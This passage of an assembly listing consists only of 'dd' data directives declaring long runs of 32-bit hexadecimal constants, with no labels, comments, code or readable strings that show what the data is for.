		dd 0CCDFC1F3h, 0FD9EC80Bh, 0DD15E428h, 0CEDF83EBh, 5D6CD638h
		dd 7BEDFDE9h, 317FB703h, 0CF28C970h, 56CFA88Ch,	9C897BBDh
		dd 0EBF1DEEAh, 99FA9EA2h, 7926EBEEh, 181F98B5h,	16F7E771h
		dd 7A37CEFDh, 6E5FA96Dh, 0F26F23EAh, 57B363ADh,	5C2FA37Ch
		dd 0FA7263D6h, 0F86EFB6Bh, 0FD7B7E8Ch, 0BD19E1E1h, 3A0B85C5h
		dd 0CE3B8B62h, 0CB20F39Eh, 0A7AFF3B3h, 9EFE801Fh, 6B94BF80h
		dd 9A4F9773h, 0E2297DBDh, 0A33F8776h, 3ECFA753h, 0A2AB3D16h
		dd 0C3814FCBh, 0F129F7FEh, 0D21BB426h, 0DDB86B45h, 9E6187D3h
		dd 6713CFA9h, 0D10D1FFAh, 76F1F2Ch, 9A4334F9h, 51A372Ah
		dd 0DC939A78h, 1DCB6522h, 0AC2E7A54h, 4A8A2BC2h, 5DBF4C6Fh
		dd 8AD5F9B5h, 0AB97153Eh, 5E350D9Ah, 519A9EF6h,	389E81E1h
		dd 1BD678F9h, 0B96217D1h, 0F59C3F05h, 5E6F9790h, 0ADF07E35h
		dd 0A333EA3Fh, 0E4F87612h, 0A2AF3F23h, 0FAF4F636h, 6E8297E6h
		dd 1FF71B1Bh, 4C264EE6h, 5092993Dh, 0F7A43DB3h,	579A9F45h
		dd 0FC7D0C77h, 0D5CD6971h, 3B535545h, 0CBF6F6C6h, 8B78B33Dh
		dd 3EAE06Eh, 705742A7h,	4FAEA7F7h, 63A17B5Dh, 1B79F5F6h
		dd 0F3DB2FC7h, 39DE9F65h, 0FC9CF62Fh, 0CEAB9B70h, 0E74289CDh
		dd 0C973FB0Dh, 5B8C6B4Bh, 7C2C4CCFh, 0BB53A33Eh, 0FFF4348h
		dd 5C3F353Ah, 0EC47FAE2h, 0D26D6EDDh, 4D1CCD36h, 0DBFF3E7Ah
		dd 6ED75FEBh, 0EE63745Bh, 2D5D7FBAh, 0B5E3123Eh, 0B9A5CB7Ch
		dd 79BF9A97h, 57BAEDCCh, 0DF1E8197h, 0F3E9AFC7h, 442F17EEh
		dd 0FE06659Fh, 81C4E1DAh, 2ECF7CAEh, 0DFA5C9D8h, 0E7D61A7Dh
		dd 3EBCC5E6h, 2357AF63h, 9E969BABh, 9F917A9Ch, 0C2C7F952h
		dd 0CDF3E81Eh, 0BC091C1Fh, 0FCB657Dh, 0A30BC203h, 414C867Bh
		dd 0C2D6BDCAh, 6E95A6DFh, 57573AAEh, 17C309BFh,	52DB4FE5h
		dd 3FCEB1F3h, 5575797Fh, 11DB68F6h, 0A74282BBh,	93FA913Bh
		dd 50470857h, 587BC16Dh, 12022234h, 55F242A8h, 486860C8h
		dd 0E3C4FC86h, 6BB121D2h, 5C8C98E2h, 5E43163h, 8444362Bh
		dd 20C92AABh, 88214A04h, 8F952545h, 24B24E18h, 0D729183Bh
		dd 3EFFF90Dh, 891A3408h, 70892AD4h, 24284C64h, 43163301h
		dd 88C850C5h, 1B28ABD5h, 211A4B52h, 5E84E011h, 517C9011h
		dd 18583ECDh, 4B2624AAh, 1A1E1ECAh, 6875E8A2h, 0A2A44A5Ch
		dd 212A14CBh, 190ED682h, 2C611C69h, 23630E81h, 0E90110Dh
		dd 4380D8B6h, 9E6B3CF2h, 638CB66h, 0B4E9C92Ah, 31636E6Ch
		dd 52F107D4h, 0B8047BEAh, 346480Eh, 7CA6690h, 17EF00CFh
		dd 0C0738BD2h, 0F20A4AF4h, 89A43F51h, 90468A26h, 0B20F2FDDh
		dd 90EDA180h, 5B8AE520h, 0F36B7360h, 2C63011h, 0F9AA3D2Dh
		dd 0EE13CFBEh, 0D0D8083h, 0D75CA8ADh, 0CE855818h, 0A75CB5D3h
		dd 38AAA973h, 0D67D75DDh, 7E6C7FBFh, 0C4DE71E0h, 3FEF04F0h
		dd 3E8C7A0Ah, 792ADA19h, 9ED5462Dh, 7C96F9CDh, 717FEB18h
		dd 0A9F67D51h, 5EC340E4h, 7F97D1FDh, 0B7985A3Dh, 0ADF1D6E0h
		dd 0DE40F41Fh, 7D2752C6h, 975461BCh, 0BFAA4B11h, 0FDD3771Bh
		dd 1757CFFAh, 0A7D9BEFDh, 85F7DAF5h, 0D5DF85E9h, 4C25A415h
		dd 149A682Eh, 85F9A735h, 0C1BCCBECh, 32B8AAFDh,	89AE2DF7h
		dd 0DB80974Fh, 0BC373E1Dh, 319CBEC6h, 0A768FDCDh, 0CB49F536h
		dd 5B8F2D37h, 4F884174h, 0FE27CB15h, 0DC0E45E4h, 3BDD5396h
		dd 0AE8F156Ah, 0C2E2F3FEh, 0E1C073Fh, 40FABF59h, 0F79384F7h
		dd 6B71DFE7h, 0E697F13Fh, 0F7BA86DCh, 0E7B9A712h, 1B99DC65h
		dd 0F2F98B30h, 0E293506Ah, 0BB611E7Dh, 78FC0F82h, 87D1CDE2h
		dd 68FF0EF7h, 0F3C74A65h, 0D526233Eh, 0F66132BDh, 0EFDEE1A6h
		dd 0B0F07FF5h, 0CCFD43A8h, 0EFDD9F21h, 6A56E4DBh, 357EA77Ah
		dd 0B559721Fh, 3D0CEF01h, 0AE2F2332h, 236207C5h, 0E5D5E430h
		dd 729057EEh, 0D5D52FF7h, 77A01B69h, 7DB64785h,	0F54DB794h
		dd 0F757377Ah, 966CA44Ah, 2FA749F2h, 94A6452Bh,	745C4DFAh
		dd 87888BEDh, 31EF8B39h, 0BBF9F3C7h, 332BE53Eh,	0A90C07FFh
		dd 0E15DDDCh, 1D21D2A8h, 75E89194h, 96FAC7BAh, 429B3DF0h
		dd 0AF04AD00h, 0A36B9B85h, 51573852h, 0F7ADE229h, 1EF06040h
		dd 9EB94861h, 0ADE329B2h, 77D72D54h, 2BEDCB82h,	0CB7697BBh
		dd 2C292929h, 0FAF57AE6h, 5958C30Bh, 0ACA3B6EEh, 4B4AADDCh
		dd 4E936C75h, 8C1AA8D5h, 0D906CA2h, 6349433Dh, 0B348E909h
		dd 885CA121h, 6CD54941h, 4A76C484h, 7F253BEAh, 0CB8E2434h
		dd 0DE729484h, 0A474DB90h, 443A7896h, 15673A4Dh, 0C55DA582h
		dd 0D28B125Eh, 0A65EE121h, 51209AEAh, 2FD692AEh, 0DDD24618h
		dd 0AC59861Bh, 11434014h, 242C64E8h, 43D35478h,	5BEDF31Ah
		dd 90C04EB3h, 3F79C25Eh, 32BCA269h, 799EA8EAh, 33940CD0h
		dd 4D3D0F40h, 0C38AF059h, 1415CBECh, 73514379h,	0D35FB41h
		dd 8B246031h, 0A92A32C3h, 66C7C3A1h, 907E85C3h,	1D24B443h
		dd 98D03546h, 96042E3Dh, 1EC2C0D0h, 203DEE10h, 15CA1C39h
		dd 8E32284Eh, 9C5129C8h, 54B2CA24h, 860CE683h, 9798C870h
		dd 62894A4h, 17335220h,	221A8566h, 0C25292A2h, 5FBDE363h
		dd 0A4A4F08h, 8D894F8Fh, 0C644364Ah, 85C44726h,	8A8BF6C7h
		dd 47C78434h, 0B8E1F8DAh, 0E0B17ED8h, 95BD4386h, 0F1B1F1D2h
		dd 4A43387Dh, 4061944Ch, 21219472h, 26C6DE1Ah, 46C5CDABh
		dd 0A78446C7h, 63E01944h, 6C524A72h, 20DC4A44h,	0DE80F243h
		dd 5222A37Dh, 4A09290Ch, 5181EF15h, 0B1C9B149h,	0CA6DE27Dh
		dd 1BC426C7h, 23C29312h, 0A2236252h, 0D0341EA0h, 53E2A2Fh
		dd 1174AD86h, 3C9C9Bh, 0F8433FAh, 48498948h, 9B78B182h
		dd 9E6C9907h, 5FB62181h, 69AC5C62h, 89A951CCh, 0C9C95149h
		dd 40ACEB06h, 7111F108h, 56952203h, 61BD57ACh, 92A2FDDCh
		dd 0A3E06222h, 49099679h, 94D8E886h, 347AA578h,	24370FBCh
		dd 2318C386h, 2785C406h, 24071219h, 47242625h, 0BC9DA885h
		dd 67171B10h, 0F1484F88h, 0AA51DEEh, 0AD4A2E29h, 9F109110h
		dd 7FD51Ch, 3C363E0Ch, 0C4AA042Eh, 0EC4A6C7h, 0F31D534h
		dd 95660136h, 0EF0C8864h, 2A27DE17h, 1C90D439h,	0CCADE515h
		dd 4A17F153h, 5051911Bh, 24192E2Ah, 8464A11Dh, 832587CEh
		dd 740D88BCh, 0D2AC951h, 24A59186h, 4AD4562Bh, 0AC9EA449h
		dd 63258219h, 0B677B16Dh
		dd 555BFD92h, 753D2D6Eh, 39928E71h, 9B48C951h, 847024A1h
		dd 236A595Bh, 3E4AC5E9h, 9A4531CCh, 86325A05h, 0DCD58F7Ah
		dd 66B3398Dh, 3C3621B6h, 55357BD4h, 998B3C4Ah, 3643AF9Bh
		dd 11D082E2h, 0D948E1C6h, 18920A07h, 60EB65F4h,	0C3D4A2B3h
		dd 18CCD867h, 28BACCDDh, 0E9D235Dh, 787B042Eh, 0BBB8AA02h
		dd 8B68203h, 20FB627Ah,	52C32424h, 881915D2h, 0D16F34h
		dd 2B20110Fh, 0F9A236BAh, 54DB6422h, 7AB46B24h,	18A60B62h
		dd 19E98D72h, 12DC86A1h, 767B05B0h, 48CC85A9h, 7BA41B0Bh
		dd 7889EF4Eh, 7FC1DA00h, 0C28F780Dh, 0ADC616D4h, 52E0309Ah
		dd 2EDCDA49h, 0EE1AD7FBh, 3AD8EEE4h, 3BE27A31h,	35DE5E2Bh
		dd 0B9A623DAh, 21F1F67Fh, 0F3FAEBDDh, 787F47B3h, 7F19903Fh
		dd 7DF7F5E9h, 218AA94Ah, 821D6F31h, 9FC90424h, 0E78FD186h
		dd 73CB7404h, 1EFC43E9h, 745A1713h, 5333B3F7h, 7416461Eh
		dd 378BFD7Ch, 705D5C57h, 2EC7FBFBh, 54FFF747h, 32E5F414h
		dd 0F78FFCB7h, 0C6C44E65h, 0CCEFF247h, 0F4E7F398h, 0E8707499h
		dd 5A196BF7h, 0AF7F55DAh, 0AE5A13BCh, 8E0C044Fh, 6323A983h
		dd 87FC07FEh, 17683213h, 5D9657E4h, 0A45B5A42h,	0DA86E5E4h
		dd 703D163Ah, 1F27EB0Ch, 41DB81B4h, 0EA2B5BDAh,	0C7387F51h
		dd 71BA7FD5h, 99055E51h, 0BDD88F28h, 57F5C538h,	714D8A64h
		dd 0C910B45Fh, 8D298CAFh, 759E67FEh, 0D4B1D95Eh, 499F68A0h
		dd 24CCF2F9h, 0B1BED548h, 0C6C5E919h, 480486CCh, 0E973AE5Fh
		dd 2AB347F5h, 6C7EF78Fh, 0FBCD2A7Fh, 2B45E776h,	0E8BE8602h
		dd 0DD9F9E73h, 43EDF133h, 4F1F9BF9h, 7FB210DEh,	972198E6h
		dd 32EBDCA7h, 0C9652836h, 6BEFC480h, 0AF0D96DBh, 0E76F22F8h
		dd 69E403F7h, 0E2B758B5h, 373F89ABh, 741AEE6Ah,	0C7EDF6B5h
		dd 3A5EEAE3h, 0DD58E1FDh, 0AF2BC9F5h, 746E72BDh, 6FD323DBh
		dd 0EEDA7C94h, 7CAFE4EAh, 0F15C3E56h, 64BD81F6h, 67AB937Dh
		dd 9439EC96h, 0FFC7DA1Bh, 0BE93C18Fh, 4B657438h, 8484E1C0h
		dd 58DEFDABh, 0C2715EF4h, 0BF5F0EAAh, 0E9E27AD5h, 72FDBE9Fh
		dd 0D863DD3Dh, 22571686h, 579B6B63h, 0EEC08E57h, 3E8F9DDDh
		dd 0C3DAF5D8h, 0F39E2BCDh, 0DB637FD9h, 7243BF76h, 0A8CC9CC9h
		dd 0B7A71DAEh, 14CC9C2Ch, 697C7DECh, 163FB5EBh,	7DA21B31h
		dd 0CC37B517h, 3FC3D269h, 4E692BD7h, 0F34757EDh, 76129CBEh
		dd 0CE83D2EBh, 39F1BF93h, 5B5C95C7h, 2B8FEE73h,	2E4E2711h
		dd 0C241F4FCh, 0C172D57h, 0F3BE7DDCh, 0FCABDEEBh, 0BBBA8EA6h
		dd 3575CB2h, 75B8F01Ch,	72D03CE5h, 697027DDh, 6592A2A7h
		dd 0A3EBFE3Bh, 0ED0527DDh, 83D6AF6h, 0D5AB6569h, 349DD63Eh
		dd 0E5B5281Dh, 54DA3B8Eh, 0C28540Dh, 5044AABEh,	8693220Ch
		dd 0E2C9FD4Ah, 0AFC94CF6h, 6B4E0FE7h, 9B1D5E91h, 54345722h
		dd 0D7D2B2AAh, 6C399ABFh, 0FD9E6FDEh, 0DDCD6F0Fh, 66769099h
		dd 0BA41B4C3h, 8E1D4BAAh, 0B2747E77h, 7EBE2FDh,	29996D4Eh
		dd 747DCF79h, 0C2B1FB62h, 3E3E0EEFh, 0DF7ABBB2h, 0E62BE3EEh
		dd 0F2935D0Fh, 58D8A938h, 0CCF17BF7h, 76543F26h, 61F3BC5Fh
		dd 7DEC25Ah, 3D8DBAEEh,	789EF6F6h, 0D74EFBA8h, 0E9B73F83h
		dd 7BD5EBD7h, 0F233E27h, 0A43F6E08h, 204AF73Dh,	8C4FBB5Bh
		dd 0DD0CD41Ch, 0EEF1B85Fh, 6F153DAEh, 0BD357FB6h, 47F3E7E3h
		dd 341BFBEh, 4507FFC1h,	0ED800020h, 54780F7Dh, 0ACEF75C7h
		dd 19604190h, 38D92309h, 12622306h, 484FFCBh, 6B063008h
		dd 192C5A41h, 0AD0AEC2Dh, 8583184h, 0B25695EDh,	577BD690h
		dd 28C8C720h, 0E6E8E01Fh, 436C5D7Ah, 0E24EB8AAh, 6A25E3E4h
		dd 2D7CB6E2h, 372255AEh, 0CD152072h, 67959E53h,	0FAB57A0Ah
		dd 2A696BCAh, 0F7C3A83Fh, 2D4A33CAh, 9CEFDF7Bh,	0DDEEF7B9h
		dd 2F7E1095h, 7DF7DA7Fh, 7739CB3Bh, 9999EE66h, 9CCE6733h
		dd 834773F9h, 3161DB7Bh, 0A91084Dh, 0E8854688h,	0C539D215h
		dd 0CED11D8Dh, 0B672785Eh, 67F33138h, 0E51D7A8Bh, 19545B3Fh
		dd 82735468h, 5086D6A1h, 0BA9CEEEDh, 0D69696DAh, 252ECE70h
		dd 92D6D427h, 5392D8D3h, 0CE4B79B2h, 92BF56EEh,	0B32DCB77h
		dd 0FC791B16h, 0F57F57DEh, 0F4BE7FFEh, 94265DFBh, 0D77AFB5Eh
		dd 0CEFCF14Fh, 0F3F26FD5h, 0E55F57F3h, 5D634567h, 659BDE80h
		dd 94425C7Bh, 4F89A63Bh, 60D91D76h, 19105DC6h, 0D31D9B8Eh
		dd 1C8112F1h, 5CFAF719h, 4EC04CA0h, 329956A3h, 1875F54Ch
		dd 29D766F5h, 175FBBE3h, 32238522h, 0B4F5AD25h,	962EEC1Eh
		dd 9E4B910Bh, 0A46F10A0h, 0E5DB5F89h, 0A32C18A6h, 0EB8EC590h
		dd 9585E5D3h, 0E59E30F6h, 3C860DEBh, 0AAC98C09h, 0D7F3CCEFh
		dd 4FE16B86h, 0DDD4659Fh, 41CC4192h, 2179FD1Ah,	8C275435h
		dd 0BA0D043Ah, 673A04E0h, 5DE7CDEAh, 5BDC62F6h,	0B957D6AAh
		dd 95E7E457h, 0A48B9794h, 4BA4BA4Bh, 0BA4BA4BAh, 0A4BA4BA4h
		dd 4BA4BA4Bh, 0FFBA4BAh, 0D577A6EFh, 0AA7CCFABh, 354F79A8h
		dd 0B3FFE5A8h, 53BFF55Eh, 8B7FBEA7h, 28D4D6A2h,	0D4277EAh
		dd 8A6BEAEAh, 8A27CEFAh, 0CBE11ABAh, 0FD5F9AFh,	1FD4523Fh
		dd 6D5FB9FDh, 0EEAFD57Ch, 9F51447Ah, 0C7E7FBC7h, 0D7BC7514h
		dd 0F568B6AFh, 15FABFEAh, 5EBAA9B5h, 0AFC6B6BDh, 4EB5791Eh
		dd 4555F69Dh, 0A0DDD15Dh, 0EA2B97E6h, 0BA8AD9C9h, 41EC7908h
		dd 0A0DE8A79h, 0BBEF0F7Eh, 0CEA7567Eh, 0FABD6AFDh, 0A75EBE9Fh
		dd 0A8A35B1Eh, 0D5EA844Fh, 3CA31F99h, 8AFFD9E4h, 0D6D2DD5Fh
		dd 0F81BFEA0h, 0A2A4F759h, 0A2BD62FEh, 0AFD9BD3Eh, 7F3C00FEh
		dd 0EA758FF8h, 0D5F95757h, 0D41A6B05h, 0ABF5AE5Fh, 49C7C127h
		dd 0AB5D99A4h, 0F5DEC7A8h, 0A9D93FABh, 0EE221FA8h, 0A8A5FFDEh
		dd 0D5FA2E4Bh, 6AD5857Dh, 0D5F81FD1h, 0D41A17B1h, 0EA0D2D15h
		dd 183BEA18h, 41DF5069h, 0A95F9C3Dh, 7E82AF57h,	0EA2A3FF7h
		dd 0D2F2F069h, 38F515CFh, 9DE0F7C2h, 2219A729h,	0E35CCC4Dh
		dd 39803514h, 2EAF0A00h, 32F8A72h, 0F0C915D6h, 98A73AD0h
		dd 0CE29DEBEh, 0C88F79E3h, 3896AF12h, 0DF018FC5h, 29BB912Eh
		dd 414E39C1h, 4157ECCBh, 2FC06DF3h, 701BFF00h, 0CC53B17Bh
		dd 0C022CD04h, 34ED06ABh, 0A72E6A50h, 0C325D178h, 3FA70819h
		dd 2B14EAh, 840E0173h, 2CA8FFBFh, 9E2972F7h, 0AFF14E65h
		dd 0B2DC32A5h, 403429D1h, 0FE1946DBh, 7C53B95Ah, 400DF00Fh
		dd 99950BF4h, 0FC605F84h, 0E327633Ah, 1867C67Ch, 0C0BE30E7h
		dd 8F184B8h, 0DDC641E3h, 8F8CC38Ch, 38CC5E30h, 8439E255h
		dd 0D8B3FB05h, 0E5FD827Fh, 0CE320F8Ch, 4974F8E4h, 0F1C838C9h
		dd 338F1857h, 65F18D7Eh, 3D8CBDC6h, 6E31E78Ch, 0F193BC66h
		dd 1967C671h, 6FC645Fh,	4F8C35E3h, 78CE5E33h, 0E300E32Bh
		dd 92FDC63Eh, 8CC3C61Fh, 3277187Bh, 8C78C63Eh, 3F632971h
		dd 57C674E3h, 9C661F19h, 0C4BE78C6h, 0EC55A35Ch, 9072976Fh
		dd 3FC739Ch, 0A995CFECh, 0FD886638h, 33B78C5Dh,	1478C7DEh
		dd 0ED995038h, 0A257A314h, 2E4737B4h, 0F737B6DFh, 3E376FF7h
		dd 2FB6FF7Ah, 496D7F14h, 44A5BFE0h, 63279D6Eh, 948F369h
		dd 37B3929h, 6C57F2BBh,	8294FBF0h, 44CB55FCh, 0D0A2B363h
		dd 8160E8DBh, 37F3BC70h, 0DDF85D7Fh, 81E711D2h,	2B1BBC8Fh
		dd 0CECBFF6Fh, 0F078EC1Fh, 0F5FD2F2Fh, 33BEEE7Dh, 9FDFFCFFh
		dd 0DEFCE5F8h, 68FF9BD5h, 0DFEBD7D9h, 0BA56F39Dh, 0F9D8BEF8h
		dd 0C59F2BDEh, 19349C90h, 686C49BBh, 102EED0Dh,	0DF4C38B7h
		dd 5EB10E1Dh, 442A8DDCh
		dd 79519B17h, 680D70A2h, 0A5B3071Fh, 6CF10AB7h,	0A61B10BAh
		dd 0DDD41D45h, 45ACAC90h, 68881709h, 0C38A7B16h, 5DE6EACDh
		dd 585D4A4Dh, 78B0A3CDh, 4CFD7CB0h, 8B941AB1h, 4ADF978Ah
		dd 0A65FE9FDh, 0E5E97849h, 45852A7Fh, 0B7206433h, 2A3A26C6h
		dd 2800A1F7h, 71228F56h, 0E9952534h, 59324512h,	0A9D7C3CAh
		dd 0BF635CFAh, 0A75CCAEEh, 0AAB0CDA0h, 0AE8B85F5h, 8E2FBC2Ch
		dd 0D0B8B9E6h, 0D533312Ch, 3B76BFB6h, 9F257704h, 69A36036h
		dd 0FC0EF706h, 49FDA03Eh, 0C015FF34h, 1DBBC81Bh, 178083E1h
		dd 1274DF69h, 5DEDEC3Eh, 7F3F34B9h, 82CAFE65h, 0E168F882h
		dd 6CABE641h, 0C3008669h, 5A29FED6h, 48FDCC3h, 1D6A32DDh
		dd 40AF6EA3h, 0EFDD9DB6h, 4AFDF9CEh, 0CCFF44A8h, 0C21397B4h
		dd 784252Fh, 0AF35EBF7h, 0D2FBFB2Ch, 0E57A9E6Fh, 0FF238D57h
		dd 0BFB6D2F2h, 77F024F9h, 0B1F27B9Fh, 7CFF761Fh, 0DD64A39Bh
		dd 1DF228B6h, 0DE3205FBh, 0EF57F070h, 17E210CEh, 0BF73857Dh
		dd 0BAD54F72h, 0D3FCAFEFh, 0FD3C9F96h, 0BEF3B3E1h, 0DF3DFCFBh
		dd 0F9D7B27Dh, 96CEB7EAh, 0BF4F8FFFh, 0D8788E7Ch, 4E757379h
		dd 0F70DC74Ch, 62F40973h, 0B512B004h, 28028973h, 57E095Ch
		dd 10F141E2h, 57D9CB7Eh, 0A89D5F80h, 0A295B8E7h, 2F80AC50h
		dd 0F875BF1Fh, 0F198B3D1h, 0D8558043h, 0E4DB2CDFh, 5CDBCCAAh
		dd 257275BCh, 8876E464h, 0F06560ABh, 0AF23D94Eh, 5C539E4h
		dd 0EC54D8D8h, 74EDA6B9h, 0BBD08F8Ah, 89F79E05h, 18A128EDh
		dd 0BA1DBB3Ah, 0A2AD1216h, 0EC56B801h, 441BD706h, 8A1668A3h
		dd 0DCEF150h, 57BF1D7Fh, 8C22F501h, 538855F7h, 9BA81B45h
		dd 0B882DA11h, 5C47E136h, 50ABE82Bh, 0EBC087CBh, 3C0BB176h
		dd 0BF2F2017h, 2AF21F0h, 0CEA05684h, 0DE0F6279h, 9C939304h
		dd 0FA8E60FFh, 0A6C5A9B4h, 0E83FF4EEh, 56CFEEA4h, 93BE673Eh
		dd 70DC87F5h, 6971EDFBh, 0E4E1DEAFh, 9DF33D74h,	3BF1E171h
		dd 0CF0C7864h, 4B3C2314h, 4008E5BCh, 73FCA6Fh, 9465DCBDh
		dd 0E8BCFA13h, 33DA45h,	654E58A2h, 0A63CA7CCh, 41846559h
		dd 9F87FBDFh, 0BC46A317h, 9B642C53h, 8C4175B1h,	40277247h
		dd 1740677h, 0EA077E23h, 0BD804D2h, 9780838h, 0FC04DF0h
		dd 9F80BD00h, 7D463C00h, 807DBF89h, 17B5D82Eh, 3AE64701h
		dd 0B864AFFFh, 3D9F73F8h, 0CE9DE97Dh, 7E9B7ADFh, 0EA7179B9h
		dd 0F83F3C4Ah, 20195CC1h, 0DCF07D31h, 76A05B22h, 0F6702DB1h
		dd 0DEC0B68Bh, 0D5816D7Bh, 3F02D9F7h, 0C816DFBBh, 3816C07Fh
		dd 302DA0F0h, 0E3E4DF3Dh, 0BC9BD201h, 47CD3B58h, 4BDBDB78h
		dd 0F37D1A7Eh, 3F3FAECBh, 0A2FCF0D8h, 373D36D7h, 717478Bh
		dd 0BDDD99EBh, 4B8D3080h, 7A44D8E6h, 0BCA63244h, 0D3C57702h
		dd 0ED27CFB6h, 0DF3278C1h, 0F0DDFC9h, 0F26CC674h, 15C3E845h
		dd 0D2038C0h, 3900B2E9h, 1280E580h, 4E402540h, 2A706803h
		dd 82A70634h, 712A81B8h, 72BCF24Ah, 0ED3EEFBAh,	71DFC5A7h
		dd 0D06ED684h, 8E264FBBh, 7E1EBBD7h, 0F6B455C9h, 0E0E1B27h
		dd 72303ADDh, 12D77BE1h, 0A53913C7h, 3991E210h,	0A3F63DEFh
		dd 0FD3717D1h, 0ADFF3849h, 3FCADFDBh, 7B7ABC5Eh, 92A6D975h
		dd 0B65BD5CDh, 61A8CFABh, 0A5B2F765h, 0DFDB0DDBh, 680F875Ah
		dd 5C5FC609h, 1F8CEF99h, 1CC75081h, 98AED0C0h, 0EE9B4A7Ch
		dd 28538914h, 0BF7F2FAAh, 0F8F1FB5Bh, 0C81EBDBFh, 34AADEFCh
		dd 0A7B2FF71h, 1EF944DFh, 6E97BE3h, 0EDD4D1CCh,	50BAC6EEh
		dd 1F5ADAABh, 546AA9CEh, 739B6ADBh, 0FCDB84B6h,	0ABDBAD8Dh
		dd 0AB43FD6h, 66DE4568h, 557F4FEh, 0CB205C14h, 4CCF19A4h
		dd 708984FAh, 26CE02Fh,	7BAD252Fh, 6B5B9A5Bh, 4182EBFDh
		dd 52D6D151h, 7BADAA19h, 41A5B1AAh, 0F6AE8150h,	27BE9546h
		dd 0D8863496h, 5730334Bh, 6124187Bh, 20386D4Fh,	0BA9504B6h
		dd 3AC6FAC6h, 0C504168Bh, 0AC36A521h, 1B3DBA54h, 4AFD9B5Ah
		dd 110616C8h, 2B34A5E5h, 2A5EC561h, 346243BEh, 71CD1D36h
		dd 5D94780Ah, 0A4D9E1C6h, 99663C07h, 2EFC9823h,	0CE3C4BBBh
		dd 2E78B3EFh, 31918B57h, 8833318Ch, 0C799AD71h,	0E9347250h
		dd 256B2395h, 1A5BD1D2h, 6DF8430Dh, 25EF2B7h, 66660F7Ah
		dd 0BF0AD88Ah, 36A4DF2Ch, 8D327E5h, 1C8039F1h, 57E2973Bh
		dd 0F0016788h, 32573C2Ah, 0F3694B7h, 4B99DB69h,	0CA807DC1h
		dd 337CD1A6h, 7E2DCBFCh, 0D89945AAh, 0FC255F84h, 1833C45Bh
		dd 0E65CC3C5h, 1DBBE432h, 0E88D3CE3h, 0AAF21375h, 2DED8C6h
		dd 0D8568D8Ah, 61CA45CCh, 0A0F26A2Bh, 0E794BB11h, 0CA19312Bh
		dd 51F012D8h, 5C65128Dh, 5186A500h, 39A8D5CFh, 963EFDD5h
		dd 6250847h, 28924321h,	0B880D795h, 8A3CC432h, 54F056F8h
		dd 3C836E0Bh, 601B64DFh, 738F87B4h, 0A356E215h,	0D679F26Dh
		dd 2A41AB11h, 4DD7DD7h,	3409A59Ah, 3C5DAE3Eh, 0D1B32CDh
		dd 0AA05D8C9h, 3C68960Ah, 1D1B72DDh, 243367C9h,	8AEA0A53h
		dd 1B42BA04h, 4DAB74DDh, 0E9E87D64h, 0A872419Ch, 0B5F84510h
		dd 84549E63h, 0D0E76996h, 0F125F15Ah, 0F1779E04h, 0BC00AC1Ch
		dd 117C73D6h, 9F84E0D6h, 5624FC62h, 1EFB2AF8h, 0DFCADE30h
		dd 0F79E336h, 9603AB38h, 6B6805A1h, 0BC62EE7Ah,	2C7382h
		dd 98A3F1B8h, 28F2E3DBh, 869F2D42h, 9FB7C9D4h, 65E86EF1h
		dd 1CAD9E21h, 11BC60EAh, 6EB1167Ch, 5B374117h, 0B08ACE2Ch
		dd 0F0D878D6h, 98D2B46Dh, 0DB41FBBFh, 208BEE0Ah, 22D31971h
		dd 9FBF4076h, 11836F85h, 0BFE8DAA3h, 718DB8C8h,	7384788Ah
		dd 2C7E822Fh, 0E7EFDE32h, 0CCB3E959h, 0DCC7015Dh, 8F59BC69h
		dd 0BC2287BDh, 0F5E563D9h, 2FB8D94h, 913818F1h,	8D7296F9h
		dd 4589A08Bh, 1619C968h, 6ECC0EFDh, 0F273508Bh,	7832C1E7h
		dd 1CF26AE2h, 68BF695Ah, 2C4DFF62h, 2956DD89h, 0E0256F94h
		dd 21A1400Eh, 0DE872A43h, 3C395995h, 1678CD0Dh,	3583AC52h
		dd 0B5FE167Fh, 251C7B88h, 2DBB7115h, 0ED93684Ah, 0FB2564E0h
		dd 90F00CFEh, 985DED5h,	0D9B7F274h, 0E4B5CE78h,	3AF19B31h
		dd 0DF0985ABh, 0B6CB2D0Dh, 0DF31B4D2h, 979C1BBh, 0C4683174h
		dd 19B7112Eh, 79AFE6D4h, 0F7E912D2h, 6B5FA184h,	0CF4809C4h
		dd 0BE31F58Ch, 0B9F9784Dh, 8258B513h, 4FBD62A7h, 711DBBC5h
		dd 0D6E4925Ch, 0FC7ABE1Ah, 0F8066296h, 915BEB38h, 0EB925921h
		dd 92C7315Eh, 1EADAB6Dh, 0C02B77F2h, 1C3A8569h,	0F681B045h
		dd 63A964F7h, 9FE85DA1h, 560D3652h, 0EBEB0E5Ch,	0ACF1945Ah
		dd 588FADA1h, 6889155Ch, 63EF6E9Ch, 39DA94BDh, 0F259B59Bh
		dd 70A2D2B8h, 38F7F027h, 0FD18A573h, 0A64B3A6Ch, 0CFD0BA08h
		dd 0F58E7832h, 9F46D723h, 3B74FDCFh, 5E1C4C64h,	0FA86DA33h
		dd 32B65136h, 26E794E7h, 0AE38BA94h, 0EF0645EEh, 0F26D68ADh
		dd 8BCB4315h, 6DDD790Ch, 0C1B97369h, 62C35989h,	0D94B38B6h
		dd 51E8DF3Fh, 0B6E568Dh, 0A1175A8Dh, 0F4B3ED7Fh, 0B244725Bh
		dd 178F43F7h, 0F72A2F80h, 14188C61h, 0A4DB97BBh, 4F31E8C8h
		dd 5C993C18h, 9B29442Ch, 0E0E9368Dh, 2812C87Ah,	1DC60D6Dh
		dd 6FD0CB7Bh, 2C9AB715h, 88D71A6Fh, 0D961D8F2h,	659B22C9h
		dd 0A9168F9Bh, 4EAE5B43h, 1269BFE0h, 0F3625E1Dh, 53E7B97Bh
		dd 0FACA8CBh, 71370352h, 0F5B1C8DFh, 8FE219C2h,	1876A96Dh
		dd 63C352ADh, 0C2F71641h, 0AB7ACDBh, 0DB11F9BFh, 159589Ah
		dd 0E8D6B7CBh, 9EB0C58Bh, 5A4A1CFh, 406BFD96h, 3E78D5CEh
		dd 0C33E9466h, 4B316656h
		dd 6C697C93h, 0DFECFCF5h, 25BF683h, 0AF336529h,	0BFFB0CFBh
		dd 382E7198h, 7EDD0559h, 0B991F986h, 1AEC3AD4h,	0B30F7F20h
		dd 597D4B1Eh, 0B1EDC468h, 0B8CEFDE9h, 0D2E1A916h, 9F2E0C8Bh
		dd 40E9BF43h, 0F6430EFFh, 6DAAD352h, 0CF198F39h, 0A7FFD64Ch
		dd 7F33D26Dh, 61EFE059h, 3EE1E42Bh, 0E73C5FB4h,	41360C78h
		dd 4DBB7A1Eh, 49D2CEC4h, 0BD683AA7h, 66E630E0h,	16BB21EBh
